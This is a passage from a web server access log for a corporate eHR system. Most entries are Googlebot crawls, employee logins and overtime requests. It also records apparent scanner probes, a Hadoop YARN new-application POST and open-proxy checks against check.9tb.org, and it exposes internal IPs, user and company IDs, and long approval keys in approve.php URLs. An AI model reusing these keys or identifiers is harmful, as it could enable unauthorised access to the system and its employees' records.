(Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:25 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [03/Dec/2025:13:36:26 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:26 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [03/Dec/2025:13:36:28 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:28 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [03/Dec/2025:13:36:30 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:30 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [03/Dec/2025:13:36:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:32 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [03/Dec/2025:13:36:33 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:13:36:33 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.139.16 - - [03/Dec/2025:13:56:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:13:56:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:13:56:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:09 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:13:56:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:12 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:13:56:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:13:56:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:13:56:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 100.64.0.1 - - [03/Dec/2025:14:11:47 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:11:47 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:14:11:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:11:47 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 100.64.0.1 - - [03/Dec/2025:14:12:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [03/Dec/2025:14:12:54 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 - 100.64.0.1 - - [03/Dec/2025:14:13:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [03/Dec/2025:14:13:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 - 100.64.0.1 - - [03/Dec/2025:14:13:29 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:14:13:29 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE HTTP/1.1" 200 4166 100.64.0.1 - - [03/Dec/2025:14:13:29 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C675F9F0848A4CC2A49CB9BEE3C8DAF0074C6A9C2ECD23A3CD5964D5AEB21494CE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:14:13:29 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [03/Dec/2025:14:13:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C6E4783449A85E7E8C9964E73605E5457427EF97B9C52C6D7189EEAD1D85D8A9BD HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [03/Dec/2025:14:13:37 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C6E4783449A85E7E8C9964E73605E5457427EF97B9C52C6D7189EEAD1D85D8A9BD HTTP/1.1" 200 - 100.64.0.1 - - [03/Dec/2025:14:13:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C6E4783449A85E7E8C9964E73605E5457427EF97B9C52C6D7189EEAD1D85D8A9BD HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:14:13:38 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C6E4783449A85E7E8C9964E73605E5457427EF97B9C52C6D7189EEAD1D85D8A9BD HTTP/1.1" 200 4166 100.64.0.1 - - [03/Dec/2025:14:13:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA160C613916DC4B3664EB27DDCFC195F1DA4FEE094CF9E62C6E4783449A85E7E8C9964E73605E5457427EF97B9C52C6D7189EEAD1D85D8A9BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [03/Dec/2025:14:13:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [03/Dec/2025:14:21:41 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1174387&companyid=3913&userseqno=47859 HTTP/1.1" 200 5916 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:41 +0800] "GET /ehr/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=overtime&flow_seqno=1174387&companyid=3913&userseqno=47859 HTTP/1.1" 200 5916 100.64.0.1 - - [03/Dec/2025:14:21:45 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:45 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [03/Dec/2025:14:21:47 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:47 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [03/Dec/2025:14:21:49 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:49 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [03/Dec/2025:14:21:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:51 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [03/Dec/2025:14:21:52 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/ehr/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:14:21:52 +0800] "GET /ehr/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [03/Dec/2025:14:22:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:14:22:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 192.168.139.16 - - [03/Dec/2025:14:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:14:40:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:14:40:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:14:40:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:14:40:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:14:40:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.16 - - [03/Dec/2025:14:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:40:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.139.16 - - [03/Dec/2025:14:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:14:43:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [03/Dec/2025:14:51:07 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [03/Dec/2025:14:51:07 +0800] "GET / HTTP/1.0" 200 439 192.168.11.126 - - [03/Dec/2025:14:56:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.126 - - [03/Dec/2025:14:56:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [03/Dec/2025:14:56:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.126 - - [03/Dec/2025:14:56:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.126 - - [03/Dec/2025:14:56:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.126 - - [03/Dec/2025:14:56:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:56:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [03/Dec/2025:14:57:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6769093290828643 HTTP/1.1" 200 55332 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:57:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6769093290828643 HTTP/1.1" 200 55332 192.168.11.126 - - [03/Dec/2025:14:57:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6769093290828643 HTTP/1.1" 200 57514 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6769093290828643" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:57:17 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6769093290828643 HTTP/1.1" 200 57514 192.168.11.126 - - [03/Dec/2025:14:57:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:57:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.126 - - [03/Dec/2025:14:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:14:57:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 100.64.0.1 - - [03/Dec/2025:15:02:19 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:15:02:19 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:02:20 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:15:02:20 +0800] "GET http://check.9tb.org/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:02:33 +0800] "HEAD /ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [03/Dec/2025:15:02:33 +0800] "HEAD /ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1 HTTP/1.1" 200 - 192.168.40.34 - - [03/Dec/2025:15:02:36 +0800] "GET /ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1 HTTP/1.1" 200 4199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:36 +0800] "GET /ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1 HTTP/1.1" 200 4199 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.40.34 - - [03/Dec/2025:15:02:37 +0800] "GET /ehr/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=927AB4EEEA6F38CD52AA13CFF913C9C68707458583975CD72DFA1AA3A4C414DF5183C3555E522F505FF29F01617C6F2E39184A1B44E16745152DD854F224FAE1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 